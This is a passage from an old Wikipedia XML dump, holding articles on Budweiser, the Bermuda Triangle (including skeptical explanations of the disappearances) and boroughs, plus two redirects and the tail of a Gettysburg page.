*[http://www.bklyn-genealogy-info.com/Military/ConfederateGenerals.html List of 53 Confederate generals at Gettysburg]
*[http://www.bklyn-genealogy-info.com/Military/UnionGenerals.html List of 67 US generals at Gettysburg]

[[Category:Adams County, Pennsylvania|Gettysburg, Battle of]]
[[Category:Battles of the Gettysburg Campaign of the American Civil War|Gettysburg]]
[[Category:George Armstrong Custer|Battle of Gettysburg]]
[[Category:History of Pennsylvania|Gettysburg]]
[[Category:Union victories of the American Civil War|Gettysburg]]

[[da:Slaget ved Gettysburg]]
[[de:Schlacht von Gettysburg]]
[[es:Batalla de Gettysburg]]
[[fr:Bataille de Gettysburg]]
[[ko:게티스버그 전투]]
[[nl:Slag bij Gettysburg]]
[[no:Slaget ved Gettysburg]]
[[pl:Bitwa pod Gettysburgiem]]
[[pt:Batalha de Gettysburg]]
[[sv:Slaget vid Gettysburg]]
[[zh:蓋茨堡之役]]</text>
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  </page>
  <page>
    <title>Budweiser (Anheuser-Busch)</title>
    <id>4851</id>
    <revision>
      <id>41868448</id>
      <timestamp>2006-03-02T06:26:50Z</timestamp>
      <contributor>
        <ip>65.23.171.130</ip>
      </contributor>
      <comment>/* Market share */</comment>
      <text xml:space="preserve">:''For the [[Czech Republic|Czech]] beer also known as &quot;Budweiser&quot;, please see [[Budweiser Budvar]].''
[[Image:StLouisABPackaging Plant.JPG|thumbnail|right|250px|The packaging plant at the [[Anheuser-Busch]] headquarters in [[St. Louis, Missouri]].]]
'''Budweiser''', usually simply called '''Bud''' and often marketed with the slogan ''&quot;King of Beers&quot;'', is the primary brand of [[beer]] made by [[Anheuser-Busch]]. It is the best-selling brand of beer in the world, followed by Bud Light. Budweiser is an [[American lager]] brewed using [[mass production]] techniques. Like other American lagers, it is lightly flavored and heavily carbonated; it is among the mildest-tasting of internationally distributed [[lager]]s. 

There are numerous Budweiser breweries located around the United States and the rest of the world.  

The company is known for its [[sport]]s [[sponsorship]]s, [[Computer and video games|video game]] sponsorship ([[Tapper]]), and (often) humorous [[advertisement]]s. Advertising campaigns have included a nude [[Ganymede_(mythology)|Ganymede]] grasping a beer bottle and borne aloft by a [[bald eagle]], frogs saying 'bud-wei-ser', lizards doing the same, and [[Clydesdale horse]]s.  Anheuser-Busch is also known for its repeated legal attempts to obtain complete control of the Budweiser trademark, which have been generally unsuccessful. 

==Market share==
Anheuser-Busch has a market share in the United States of about 50% for all of its brands of beer combined.  Despite its wide commercial success in the United States, it has a very poor reputation with beer enthusiasts, both foreign and domestic, who typically object to its use of [[adjunct (beer)|adjuncts]], and to the taste of [[American lager]]s in general. In spite of that reputation, the company's 2004 annual report cites figures which demonstrate Budweiser brands are proving to be quite successful in three markets outside of the U.S.:
* in [[China]], where Anheuser-Busch has had a brewery in [[Wuhan]] since [[1995]], 2.7 million barrels of Budweiser were brewed there in 2004, a number which is expected to grow to nearly 3.5 million barrels in 2005;
* in the [[United Kingdom]], where Anheuser-Busch owns Stag Brewery in [[Mortlake]], Budweiser is the number one on-premise, premium packaged lager and the country's number two such lager;
* in [[Canada]], where [[Labatt Brewing Company]] brews and packages Budweiser and Bud Light for the Canadian market; Budweiser became the country's number one brand in 2004.

Budweiser is also widely available in [[Mexico]] due to Anheuser-Busch's half-ownership of [[Grupo Modelo]], through which Budweiser and Bud Light are distributed. In [[Ireland]], Budweiser is the largest off-premise beer; it is brewed, marketed, and sold by [[Guinness]].  Budweiser is also available in [[Italy]] and [[Argentina]] because of partnerships Anheuser-Busch has with major brewers there.

==Marketing==
Budweiser is one of the major breweries that emphasizes humorous advertising campaigns, such as the &quot;[[Real Men of Genius]]&quot; radio commercials for Bud Light, recently moved to television. The spots feature an over-the-top, 1980s-style rock ballad sung by David Bickler, the former lead singer of &quot;Survivor,&quot; describing ordinary activities as if they were heroic. The campaign originally was called &quot;Real American Heroes,&quot; but the name was changed after the terrorist attacks of Sept. 11, 2001.

Some Bud advertising campaigns have entered the popular culture in the U.S.. They include a long TV advertisements in the 1990s featuring three [[Budweiser Frogs|frogs]] named &quot;Bud&quot;, &quot;Weis&quot;, and &quot;Er&quot;, and a campaign built around the phrase &quot;[[Whassup?]]&quot;.

==The name==
:''See also [[Budweiser Budvar]].''
With globalization of brands, the existence of the Czech beer of the same name has caused problems in some markets. A long-standing agreement with the Czech brewer divided the rights to the name &quot;Budweiser,&quot; so that the Anheuser-Busch product is marketed as &quot;Bud&quot; (in France and elsewhere) and &quot;Anheuser-Busch B&quot; (Germany), where the Czech beer has the rights to the name. Anheuser-Busch has made offers to buy out the Czech brewing company in order to secure global rights to the name &quot;Budweiser&quot;, but the Czech government has refused all such offers, considering keeping the Budweiser name Czech to be a matter of national pride.

The name was coined by the founders of the company.  They chose &quot;Budweiser&quot; because it was German sounding and would appeal to other German immigrants, and it was easy for Americans to pronounce.

==The beer==
Anheuser-Busch brews several brands of beer:
*The Budweiser Family
**Budweiser
**Budweiser Select
**Bud Light
**Bud Dry
**Bud Ice
**Bud Ice Light
*The [[Michelob]] Family
**Michelob
**Michelob Light
**Michelob Ultra 
**Michelob Ultra Amber
**Michelob Honey Lager
**Michelob AmberBock
**Michelob Golden Draft
**Michelob Golden Draft Light
*[[Busch]] Family
**Busch
**Busch Light
**Busch Ice
*The [[Natural Light|Natural]] Family
**Natural Light
**Natural Ice
*Specialty Beers
**B^E
**Bare Knuckle Stout
**Anheuser World Lager
**[[Ziegen Bock|ZiegenBock]]
**ZiegenLight
*Non-alchoholic
**O'Doul's
**O'Doul's Amber
**Busch NA

==External links==
* [http://www.budweiser.com/ Budweiser official website]
* [http://www.anheuser-busch.com/ Anheuser Busch corporate website], including its [http://www.anheuser-busch.com/annual/default.htm annual report]
* [http://budlight.whipnet.com/ Budweiser &quot;Real Men of Genius&quot; Unofficial]


[[Category:Brands of beer]]

[[cs:Budvar]]
[[de:Budweiser (Anheuser-Busch)]]
[[fr:Budweiser]]
[[it:Budweiser (Anheuser-Busch)]]
[[ja:バドワイザー]]
[[fi:Budweiser]]
[[nl:Budweiser (Anheuser-Busch)]]</text>
    </revision>
  </page>
  <page>
    <title>Breslau</title>
    <id>4853</id>
    <revision>
      <id>17751018</id>
      <timestamp>2005-06-28T10:46:20Z</timestamp>
      <contributor>
        <username>Akumiszcza</username>
        <id>3391</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Wrocław]]</text>
    </revision>
  </page>
  <page>
    <title>Bermuda Triangle</title>
    <id>4854</id>
    <revision>
      <id>42087520</id>
      <timestamp>2006-03-03T19:15:39Z</timestamp>
      <contributor>
        <ip>212.32.103.39</ip>
      </contributor>
      <text xml:space="preserve">The '''Bermuda Triangle''' (also known as '''Devil's Triangle''') is a 1.5-million-[[square mile|square-mile]] area of ocean roughly defined by [[Bermuda]], [[Puerto Rico]], and the southern tip of [[Florida]]. Some believe it is a [[paranormal]] site in which the [[physical law|laws of physics]] are either violated, altered, or both.

Some claim that within this area a number of ships and airplanes have disappeared under highly unusual circumstances and conditions. The [[United States Coast Guard]] and others disagree with the assessment of paranormal activity, citing statistics demonstrating that the number of incidents involving lost ships and [[fixed-wing aircraft|airplanes]] is no larger than that of any other heavily traveled region of the world. Many of the allegedly mysterious cases have, upon closer examination, proved not so unusual, with innacuracies and misinformation about the cases often circulating and recirculating over the decades.

Original research by investigators in the last two decades has focused on examples of several of the claims presented by the &quot;Triangle myth,&quot; including disappearances while within sight of land, coming in for landings or having just departed, and on occasion between single sweeps of a radarscope (or in periods of less than forty seconds); other disappearances have occurred over shallow waters of depths less than ten feet, yet without trace or silhouette to mark their positions, while others have vanished after transmitting messages discernable as cryptic, at best.

Another area that is classified by many as having the same paranormal effects is the [[Devil's Sea]], located near [[Japan]].

[[Image:The_Bermuda_Triangle.JPG|thumb|245px|right|Map of the popularly-held dimensions of the Bermuda Triangle; recent claims by researchers alude to a more &quot;trapezium&quot; shape, extending back into the [[Gulf of Mexico]] and down into the [[Caribbean Sea]].]]

==History of the Bermuda Triangle==
[[Image:Charles Berlitz - The Bermuda Triangle - 1977 Panther paperback book cover.jpg|thumb|right|The cover of the 1977 Panther paperback edition of Berlitz's ''The Bermuda Triangle'']]

===First citations===
The first mention of any disappearances in the area was made in [[1950]] by E.V.W. Jones as a sidebar on the [[Associated Press]] wire service regarding recent ship losses in the area. Jones' article notes the &quot;mysterious disappearances&quot; of ships, airplanes and small boats in the region and ascribes it the name &quot;The Devil's Triangle&quot;. It was mentioned again in [[1952]] in a [[Fate Magazine|''Fate'']] magazine article by George X. Sand, who outlined several &quot;strange marine disappearances&quot;. The term &quot;Bermuda Triangle&quot; was popularized by Vincent Gaddis in a [[1964]] ''Argosy'' feature.

===Popularized by Berlitz===
The area achieved its fame largely through the efforts of [[Charles Berlitz]] in his [[1974]] book ''The Bermuda Triangle'' (right) and its subsequent [[film adaptation]]. The book consists of a series of recountings of mysterious disappearances of ships and aircraft, in particular the December [[1945]] loss of five [[United States Navy|U.S. Navy]] [[TBM Avenger|Avenger]] torpedo bombers known as [[Flight 19]]. 

The book was a [[bestseller]] and included the various suggestions that had been made to account for the disappearances. Among these were high accident rates due to high traffic volumes; natural storms; &quot;temporal holes&quot;; the lost empire of [[Atlantis]]; transportation by [[extraterrestrial life|extraterrestrial]] technology; and other natural or [[supernatural]] causes.

==Scientific explanations==
===Skeptical responses===
The marine insurer [[Lloyd's of London]] has determined the &quot;triangle&quot; to be no more dangerous than any other piece of the ocean, and does not charge unusual rates of insurance for passage through the area. Coast Guard records confirm this to be true.

Skeptics comment that the disappearance of a train between two stops would be more convincing evidence of paranormal activity, and the fact that such things do not occur suggests that paranormal explanations are not needed for the disappearance of ships and airplanes in the far less predictable open ocean.

===Kusche's research===
Intrigued by the number of students coming to him looking for information about the Bermuda Triangle, [[Larry Kusche|Lawrence Kusche]], a reference librarian with [[Arizona State University]] at the time of the [[#Flight 19|Flight 19]] incident, began an exhaustive follow-up investigation of the original reports. His findings were eventually published in [[1975]] as ''The Bermuda Triangle Mystery: Solved''.

Kusche's research revealed a number of inaccuracies and inconsistencies between Berlitz's accounts and statements from eyewitnesses, participants and others involved in the initial incidents. He noted cases where pertinent information went unreported, such as the disappearance of round-the-world yachtsman [[Donald Crowhurst]] which Berlitz had presented as a mystery, despite clear evidence that Crowhurst had fabricated the accounts of his voyage and had probably committed [[suicide]]. Another example was the [[ore]]-carrier Berlitz recounted as lost without trace three days out of an ''Atlantic'' port when it had been lost three days out of a port with the same name in the ''Pacific'' Ocean. Kusche also argued that a large percentage of the incidents attributed to the Bermuda Triangle's mysterious influence actually occurred well outside it.

Kusche came to several conclusions:
* The proportion of those ships and airplanes reported missing to those travelling through the Bermuda Triangle area was not significantly greater than any other ocean area.
* In an area frequented by tropical storms, the total disappearance of some ships was neither unlikely nor mysterious.
* The number of disappearances had been exaggerated by sloppy research. A boat listed as missing would be reported, but not necessarily its eventual, if belated, return to port.
* The circumstances of confirmed disappearances were frequently misreported in Berlitz's accounts. The numbers of ships disappearing in supposedly calm weather, for instance, did not tally with weather reports published at the time.

===Methane hydrates===
{{main|Methane clathrate}}

An explanation for some of the disappearances focuses on the presence of vast fields of [[methane]] hydrates on the [[continental shelves]]. A [http://woodshole.er.usgs.gov/project-pages/hydrates/usgspubs.html paper] was published in 1981 by the [[United States Geological Survey]] about the appearance of hydrates in the [[Blake Ridge]] area, off the southeastern [[United States]] coast.  Periodic methane [[eruption]]s may produce [[regions]] of frothy water that are no longer capable of providing adequate [[buoyancy]] for ships.  If this were the case, such an area forming around a ship could cause it to sink very rapidly and without warning. Laboratory experiments have proven that bubbles can, indeed, sink a scale model ship by decreasing the density of the water. This effect, however, may not scale up to actual size of the ships due to the physics involved.

Some writers have suggested that methane hydrate is suddenly released in the form of giant gas bubbles, with diameters comparable to that of the ships purportedly sunk by them (see [http://www.theage.com.au/articles/2003/10/22/1066631498889.html?from=storyrhs Bermuda Triangle mystery solved? It's a load of gas]), though physical feasibility of this has been challenged, as even if release of large bubbles was possible, they would collapse and break up into smaller ones as they would be rising up towards the surface. However this could still reduce buoyancy to a dangerously low level, possibly sinking the ships.

Hypothetically, methane gas might also be involved in airplane crashes, as it is not as dense as air and thus would not generate as much [[lift]] required to keep the airplane flying. Furthermore, methane may interfere with functions of an [[altimeter]] in an airplane, which determines the altitude by measuring the density of the surrounding air: since methane is less dense, the altimeter would indicate that the airplane is climbing, which may cause the pilot to fly the airplane lower, crashing it. Another possibility is that methane in the engines disrupts the mixture of fuel and air, possibly stopping [[combustion]] and stalling the engines. All of these effects of methane have been shown experimentally.

===Tidal waves===
{{main|Freak wave}}

Research has shown that '''tidal''', '''freak''', or '''rogue waves''' can reach up to up to 30 m (100 feet) in height and are capable of sinking large ships within moments. Although these are very rare, in some areas ocean currents mean they happen more often than the normal. Such waves have now been hypothesized as a cause for many unexplained shipping losses over the years.

==Famous incidents==
===Flight 19===
{{main|Flight 19}}

One of the best known  Bermuda Triangle incidents concerns the loss of [[Flight 19]], a squadron of five U.S. Navy TBM Avenger torpedo bombers on a training flight out of [[Fort Lauderdale, Florida]], on [[December 5]], [[1945]]. According to Berlitz, the flight consisted of expert [[US Marine Corps|Marine Corps]] aviators who, after reporting a number of odd visual effects, simply disappeared, an account which isn't entirely true. Furthermore, Berlitz claims that because the [[TBM Avenger]] bombers were built to float for long periods, they should have been found the next day considering what were reported as calm seas and a clear sky. However, not only were they never found, a Navy search and rescue seaplane that went after them was also lost. Adding to the intrigue is that the Navy's report of the accident was ascribed to &quot;causes or reasons unknown&quot;.

While the basic facts of Berlitz's version of the story are essentially accurate, some important details are missing. The image of a squadron of seasoned combat aviators disappearing on a sunny afternoon is inaccurate. Rather, it was a squadron of lost, inexperienced flight trainees forced to ditch their out-of-fuel airplanes into unknown stormy waters in the dark of night. As for the Navy's report, it is claimed that the original report blamed the accident on the commander's confusion (Lt. Taylor abandoned his airplanes twice in the Pacific after getting lost returning to his carrier), but the wording was changed in deference to the wishes of his family.

===''Star Tiger''===
If the disappearance of Flight 19 had been isolated as an incident, it would remain a great mystery of aviation. However, aircraft disappearances continued to occur and be reported both to and by authorities, some near the same location, and/or with equally extended and confusing radio traffic, indicating that Taylor's flight may have been only one example among many disappearances including that of a four-engined [[Tudor IV]] airliner named ''[[Star Tiger]]'', in the predawn hours of [[January 31]] [[1948]].

Piloted by Captain [[B. W. McMillan]], the airliner, which carried twenty-nine passengers and crew on board, had left hours earlier from [[Santa Maria]], [[Azores]], one of numerous scheduled fuel stopovers from [[London]], [[England]] to [[Havana, Cuba|Havana]], [[Cuba]]. While approaching Bermuda, McMillan made the expected contact with [[Kindley Field]], the next stopover, requesting a radio bearing to calibrate his navigation and ensure he remained on course.  With the response indicating that the plane was slightly off course, its position was corrected after Bermuda relayed a first-class bearing of 72 degrees from the island. At this point, with ''Star Tiger'' less than two hours flight away, McMillan gave confirmation of an [[estimated time of arrival|ETA]] of 05:00 hours, an hour late due to strong headwinds; no further transmission from the aircraft was ever received.

With the plane's last known position report precise, placing the disappearance within a confined flight range of the position northeast, rescue operations were launched after the plane went overdue for arrival; in spite of the aid, no trace was ever found, and the search eventually discontinued with negative results.

In the report issued soon thereafter by the [[Civil Air Ministry]], numerous hypotheses as to what might have occurred during the flight's final two hours are given, before each being subsequently rejected:
''&quot;There would accordingly be no grounds for supposing that ''Star Tiger'' fell into the sea in consequence of having been deprived of her radio, having failed to find her destination, and having exhausted her fuel.&quot; &quot;There is good reason to suppose that no distress message was transmitted from the aircraft, for there were many radio receiving stations listening on the aircraft's frequencies, and none reported such a message.&quot; &quot;...The weather was stable, there were no atmospheric disturbances of a serious kind which might cause structural damage to the aircraft, and there were no electrical storms.&quot;'' The aircraft was ruled unable to have gone off course, as the broadcast bearing from Bermuda, with winds pervailing, would have brought it within thirty miles of the island: ''&quot;The aircraft could hardly have failed to find the island in a short time, in the conditions of visibility which prevailed.&quot;'' Engine difficulty was ruled out as likely cause, since at such late stage in the flight, without the added weight of extra fuel aboard, the aircraft might have been flown safely on three, or even two, engines instead of the four it had. The probability of the aircraft entirely losing three engines in the course of under two hours was considered absurd.

Faced with the accumulation of evidence, or perhaps lack thereof, the board of investigation addressed the loss of the ''Star Tiger'' with remarked eloquence:
''&quot;In closing this report it may truly be said that no more baffling problem has ever been presented for investigation. In the complete absence of any reliable evidence as to either the nature or the cause of the accident of ''Star Tiger'' the Court has not been able to do more than suggest possibilities, none of which reaches the level even of probability. Into all activities which involve the co-operation of man and machine two elements enter of a very diverse chaarcter [sic?]. There is an the incalculable element of the human equation dependent upon imperfectly known factors; and there is the mechanical element subject to quite different laws. A breakdown may occur in either separately or in both in conjunction. Or some external cause may overwhelm both man and machine. What happened in this case will never be known and the fate of ''Star Tiger'' must remain an unsolved mystery.&quot;''

==Cinematic depicitions==

* An episode of [[Walt Disney Company|Disney]]'s ''[[DuckTales]]'' (episode #28: &quot;Bermuda Triangle Tangle&quot;) left [[Scrooge]] a [[prisoner]] in the mysterious [[Sargasso Sea]] after a search for his missing ships.

* One episode of ''[[Rocko's Modern Life]]'' featured the main characters going on a [[cruise]] which ended up in the Bermuda Triangle.  Chaos ensues as the young become old, old become young, and a strange airplane-like alien appears.

* A season-6 ''[[The X-Files]]'' episode, aptly named &quot;Triangle&quot;, featured a Bermuda Triangle storyline about a [[1939]] luxury liner that appeared in the present day.

* On [[December 5]], [[2005]], the [[Sci Fi Channel]] began broadcasting its three-part series called ''[[The Triangle (miniseries)|The Triangle]]''. This series features a theory on electromagnetic disruptions and space-time holes.

* In an episode of Nickolodeon's ''[[The Fairly Odd Parents]]'', Timmy's most dangerous wishes are transported to an island in the Bermuda Triangle. Jorgan Von Strangle gives the reasoning that it is so dangerous, nobody would be crazy enough to go there.

* In a 1978 episode of ''[[Scooby-Doo (1976-1979 television series)|Scooby-Doo]]'' titled &quot;&quot;A Creepy Tangle in the Bermuda Triangle&quot;, the gang enters the Triangle on a ship helmed by an evil captain and becomes involved in many mysterious incidents.

* The 2001 film ''Lost Voyage'' is about a ship which was lost in Bermuda Triangle and returns after 30 years.

* In the 1977 television series ''[[The Fantastic Journey]]'', the main characters traveled through different places and times trying to escape the Bermuda Triangle.

In an episode of Jimmy Neutron, Jimmy and his friends go to the &quot;bahama Quadrangle&quot;.

==Cultural references==

[[William Shakespeare]]'s ''[[The Tempest (play)|The Tempest]]'' is placed after a shipwreck near the ''turbulent Bermoothes''.

[[Barry Manilow]] sang a UK no. 15 hit in 1981 titled &quot;Bermuda Triangle&quot;. It tells the story of a fictional holiday to the area where the singer's girlfriend elopes with a local, but he finds a more than adequate replacement, leading to the uplifting final refrain:

{{quotation|Bermuda Triangle, it makes people disappear&lt;br /&gt;Bermuda Triangle, don't go too near&lt;br /&gt;But look at it from my angle&lt;br /&gt;And you'll see why I'm so glad&lt;br /&gt;Now Bermuda Triangle not so bad!|Barry Manilow|Bermuda Triangle (1981)}}

DC Comics' Paradise Island city-state, controlled by Amazons and the home of [[Wonder Woman]], is located there.

The [[Marvel Comics]] series ''[[Skul the Slayer]]'' was set in a world inhabited by people who had been swallowed by the Triangle, which was actually a trap created by aliens.

[[Milton Bradley]] released a board game named [[Bermuda Triangle]] in [[1975]].

[[Buckethead]] released an album named ''[[Bermuda Triangle]]'' in [[2002]].

''[[Starlord]]'', a British comic book, ran a story called &quot;Planet of the Damned&quot;, which portrays the triangle as a vortex in space and time leading to a hostile planet where survivors struggle against the alien environment. The story relies on a number of documented disaperances for its background. The story began [[13 May]] [[1978]].

[[Jaws]] author [[Peter Benchley]] wrote a novel called ''The Island'' in which a journalist investigates the Triangle and discovers the disappearances are the work of pirates — specifically the descendants of buccaneers who live isolated from civilisation and raid shipping to survive. In 1980 the book was made into a film directed by [[Michael Ritchie]] and starring [[Michael Caine]].

The narrator of [[Chuck Palahniuk]]'s novel ''[[Diary (novel)|Diary]]'' often refers to any item which has disappeared as having been &quot;Bermuda triangulated&quot;.

==See also==
*[[List of Bermuda Triangle incidents]]
*[[Chuck Wakely Incident]]

==External links==
*[http://skepdic.com/bermuda.html Skeptic's Dictionary on the Bermuda Triangle]
*[http://www.worldatlas.com/aatlas/infopage/bermudat.htm World Atlas Bermuda Triangle Map] Map and information.
*[http://woodshole.er.usgs.gov/project-pages/hydrates/bermuda.html Opinion] of a Geologist from the U.S. Geological Survey regarding the gas hydrate theory
*[http://woodshole.er.usgs.gov/project-pages/hydrates/index.html USGS Gas Hydrate Title Page]
*[http://www.history.navy.mil/faqs/faq8-1.htm Navy Historical Center FAQ]
*[http://www.history.navy.mil/faqs/faq15-1.htm The loss of Flight 19 FAQ]
*[http://www.unmuseum.org/triangle.htm Bermuda triangle &quot;unmuseum&quot;]
*[http://www.bermuda-triangle.org/html/methane_hydrates.html Bermuda Triangle.org] Critical of Methane Hydrates
*[http://www.bermuda-triangle.org/html/debunkery.html &quot;Debunking Debunkery&quot; - Severe criticism of Larry Kusche's ''The Bermuda Triangle Mystery -- Solved'']
*[http://www.bermuda-triangle.org/html/lost_ships.html &quot;Lost Ships&quot;] (including the 2000 ''Tropic Bird'' case, in which entry in the ship's log was interrupted in mid-sentence)
*[http://www.bermuda-triangle.org/html/lost_aircraft.html &quot;Lost Aircraft&quot;]
*[http://www.bermuda-triangle.org/html/recent_statistics.html Recent (1999-2001) Statistics on Coast Guard-Designated &quot;Overdue&quot; yachting vessels]

==Further reading==
*''The Bermuda Triangle'', Charles Berlitz (ISBN 0385041144): appears to be currently out of print; however, there are many other books available covering the same material, frequently the same stories.
*''The Bermuda Triangle Mystery Solved'' (1975). Lawrence David Kusche (ISBN 0879759712)
*''Into the Bermuda Triangle: Pursuing the Truth Behind the World's Greatest Mystery'' (2004). Gian J. Quasar (ISBN 0-07-142640-X)
*''Limbo Of The Lost'', John Wallace Spencer (ISBN 0-68-610658-X)
[[Category:Bermuda]]
[[Category:New Age]]
[[Category:Nautical lore|Bermuda Triangle]]
[[Category:Paranormal places]]

[[ar:مثلث برمودا]]
[[ca:Triangle de les Bermudes]]
[[da:Bermudatrekanten]]
[[de:Bermudadreieck]]
[[et:Bermuda kolmnurk]]
[[es:Triángulo de las Bermudas]]
[[eo:Bermuda triangulo]]
[[fr:Triangle des Bermudes]]
[[id:Segitiga Bermuda]]
[[he:משולש ברמודה]]
[[nl:Bermudadriehoek]]
[[ja:バミューダトライアングル]]
[[no:Bermudatriangelet]]
[[pl:Trójkąt Bermudzki (Atlantyk)]]
[[ru:Бермудский треугольник]]
[[fi:Bermudan kolmio]]
[[sv:Bermudatriangeln]]
[[uk:Бермудський трикутник]]
[[zh:百慕大三角]]</text>
    </revision>
  </page>
  <page>
    <title>Basso continuo</title>
    <id>4855</id>
    <revision>
      <id>19008744</id>
      <timestamp>2005-07-17T09:59:58Z</timestamp>
      <contributor>
        <username>Kooky</username>
        <id>334318</id>
      </contributor>
      <minor />
      <comment>point to basso continuo subsection of [[figured bass]]</comment>
      <text xml:space="preserve">#REDIRECT [[Figured bass#Basso_continuo]]</text>
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  </page>
  <page>
    <title>Borough</title>
    <id>4856</id>
    <revision>
      <id>41828808</id>
      <timestamp>2006-03-02T00:34:13Z</timestamp>
      <contributor>
        <username>Dale Arnett</username>
        <id>25667</id>
      </contributor>
      <minor />
      <comment>/* Alaska */ Link fixes.</comment>
      <text xml:space="preserve">A '''borough''' is a [[local government]] [[subnational entity|administrative subdivision]] used in the [[Canada|Canadian]] [[Provinces and territories of Canada|province]] of [[Quebec]], in some [[U.S. state|states]] of the [[United States]], and formerly in [[New Zealand]]. In the [[United Kingdom]], boroughs are also to be found in [[England]] and [[Northern Ireland]].

As a suffix, -'''borough''' (or -'''brough''') appears in the name of a number of [[towns]] and [[city|cities]] in [[England]]; in the [[South of England]] it is usually found in the form -'''bury'''. The suffix -'''bury''' is also to be found in the [[New England]] region of the United States, whilst -'''burg''' (or -''[[burgh]]'') is more common in [[Scotland]] and the [[American South]] and [[American West|West]].

==Pronunciation==
In many parts of England, &quot;borough&quot; is pronounced as {{IPA2|b&amp;#652;&amp;#633;&amp;#601;}}  {{Audio2|en-borough.ogg}} as an independent word, and as {{IPA|/b&amp;#633;&amp;#601;/}} when forming a suffixal part of a place-name. As a suffix, &quot;-brough&quot; is usually pronounced {{IPA|/br&amp;#601;/}}.

In the United States, &quot;borough&quot; is pronounced as {{IPA|/&amp;#712;b&amp;#605;o&amp;#650;/}} (or as {{IPA|/&amp;#712;b&amp;#652;&amp;#635;o&amp;#650;/}} in some areas, notably [[New York City]]). When appearing as the suffix &quot;-burg(h)&quot; in place-names, it's pronounced as {{IPA|[b&amp;#605;g]}}.

==Present-day boroughs==

===Canada===
In [[Quebec]], the term '''borough''' is used as the formal translation into [[English language|English]] of the [[French language|French]] '''''[[arrondissement]]''''', an administrative subdivision of a major city.

===United Kingdom===
In the [[United Kingdom]], the name &quot;borough&quot; is applied to various different types of local government district. There are 32 [[London borough]]s, which together with the [[City of London]] make up the [[Greater London]] area. One of the boroughs is formally known as the [[City of Westminster]].

Elsewhere in [[England]], as well as in [[Northern Ireland]], a number of [[districts of England|district]] and [[unitary authority]] councils have borough status. This status, which originally denoted towns with a certain type of local government (a [[municipal corporation]]), is nowadays just a formal style which the area is entitled to use, and entitles it to a [[mayors in the United Kingdom|mayor]].  Districts may apply to the [[British Monarchy|The Crown]] for the grant of borough status upon advice of the [[Privy Council of the United Kingdom|Privy Council]].  [[City status in the United Kingdom|City status]] is seen as the next step, although it has never conferred any greater power.

The [[metropolitan county]] areas of England are divided into [[metropolitan borough]]s (or metropolitan districts), all of which have borough or city status.  Several unitary authorities in [[Wales]] are considered to be [[county borough]]s, although this also does not indicate any special or differing powers.

For [[Scotland|Scottish]] usage of a cognate term, see [[burgh]].

===The United States===
In some [[U.S state|states]] of the U.S., such as [[Pennsylvania]] and [[New Jersey]], a self-governing city or town is called a '''borough'''. In [[Connecticut]] a borough is separately incorporated portion of a [[Town#The_United_States|town]] with limited self-government, similar to a [[Village#Incorporated_villages|village]] in [[Michigan]] or [[Wisconsin]]. In some states, boroughs may be grouped together under a governing [[civil township|town or township]]. In yet other places &quot;borough&quot; is simply the designation of the municipality, comparable to &quot;town&quot; or &quot;village.&quot; 

The [[New York City|City of New York]] is made up of [[five boroughs]], each of which is coterminous with a [[county]] of the [[New York|State of New York]]. The boroughs are:
*[[The Bronx]] (Bronx County)
*[[Brooklyn]] (Kings County)
*[[Manhattan]] (New York County)
*[[Queens]] (Queens County)
*[[Staten Island]] (Richmond County)

These boroughs are almost identical in structure and government to the '''Bezirke/Boroughs''' found in [[Berlin]], Germany.

====Alaska====

{|
|''See:''||''[[List of Alaska boroughs and census areas]]''
|}

Boroughs are the [[Alaska|Alaskan]] counterpart to counties in other states; they have varying degrees of autonomy and devolved power. Each borough has a [[borough seat]], which serves a purpose similar to a [[county seat]] in other states. The [[Anchorage, Alaska|Municipality of Anchorage]] is a consolidated city-borough, despite not having the word &quot;borough&quot; in its name. [[Sitka City and Borough, Alaska|Sitka]], [[Juneau City and Borough, Alaska|Juneau]], [[Haines, Alaska|Haines]] and [[Yakutat City and Borough, Alaska|Yakutat]] are also consolidated city-boroughs. 

However, unlike the other states, most of the land area of the state is not under any local government. This vast area, larger than [[France]] and [[Germany]] combined, is referred to by the state as the ''[[Unorganized Borough]]''. Starting with the [[1970]] [[census]], the [[United States Census Bureau]] divided the Unorganized Borough into [[census area|census areas]] for statistical purposes. Upon statehood in 1959, Alaska consisted of one vast unorganized borough and over the ensuing years the existing boroughs were carved out of it. The framers of Alaska's constitution adopted its borough model to avoid perceived problems with local government in the [[Lower 48]] and envisioned several unorganized boroughs as mechanisms for the state to regionalize services in the [[Alaskan Bush]], but this never materialized; some parts of the Bush are now included in boroughs but most of it is still unorganized.

==Historical boroughs==
In its original Anglo-Saxon connection with its modern meaning, a borough was a number of households or an extended household, surrounded by a defensive wall. This might have been a stockade or a walled town. In place-names therefore, it can refer to the walled enclosure of a lord's hall or to a walled town.  When the [[Five Burghs]] of the [[Danelaw]] were given that name, this was people's view of them. By the late medieval period, a charter from the king and a civic organization became more significant in defining a borough than the wall was.

===England===
====Municipal boroughs====
In England, boroughs developed as a method of providing a corporate identity for a town, particularly in relation to rights obtained from local barons or from the English Crown.  The formal status of borough came to be conferred by [[Royal Charter]]. 

These boroughs were generally governed by a self-selecting corporation (i.e., when a member died or resigned his replacement would be by [[co-option]]).  Sometimes boroughs were governed by [[bailiffs]] or headboroughs.

Debates on the Reform Bill (eventually the Reform Act 1832) had highlighted the variations in systems of governance of towns, and a [[Royal Commission]] was set up to investigate the issue.  This resulted, in a regularisation of municipal government [[Municipal Corporations Act 1835| in 1835]], with all municipal corporations to be elected according to a standard franchise, based on property ownership.  At the same time, a procedure was established whereby a town could [[petition]] Parliament to be given borough status.  The 178 reformed boroughs, and those that followed them, became known as [[municipal boroughs]].  A number of [[Unreformed boroughs in England and Wales 1835 - 1886 | unreformed boroughs]] remained after 1835, these being finally abolished in [[1886]].

The reform of county government [[Local Government Act 1888|in 1888]] established the '''[[county borough]]''', a city or town that had a corporation as any other borough, but with additional powers equivalent to those of a [[county council]].

As part of a large-scale reform of local government in England [[Local Government Act 1972|in 1974]], both county boroughs and municipal boroughs were abolished.  However, the civic traditions of many boroughs were continued by the grant of a [[Royal Charter | charter]] to their successor district councils. In smaller boroughs, a [[Parish council | town council]] was formed for the area of the abolished borough, while [[Charter trustees | charter trustees]] were formed in other former boroughs. In each case, the new body was allowed to use the regalia of the old corporation, and appoint ceremonial office holders such as sword and mace bearers as provided in their original charters. The council or trustees may apply for an [[Order in Council]] or [[Royal Licence]] to use the former borough [[coat of arms]].

====Parliamentary boroughs====
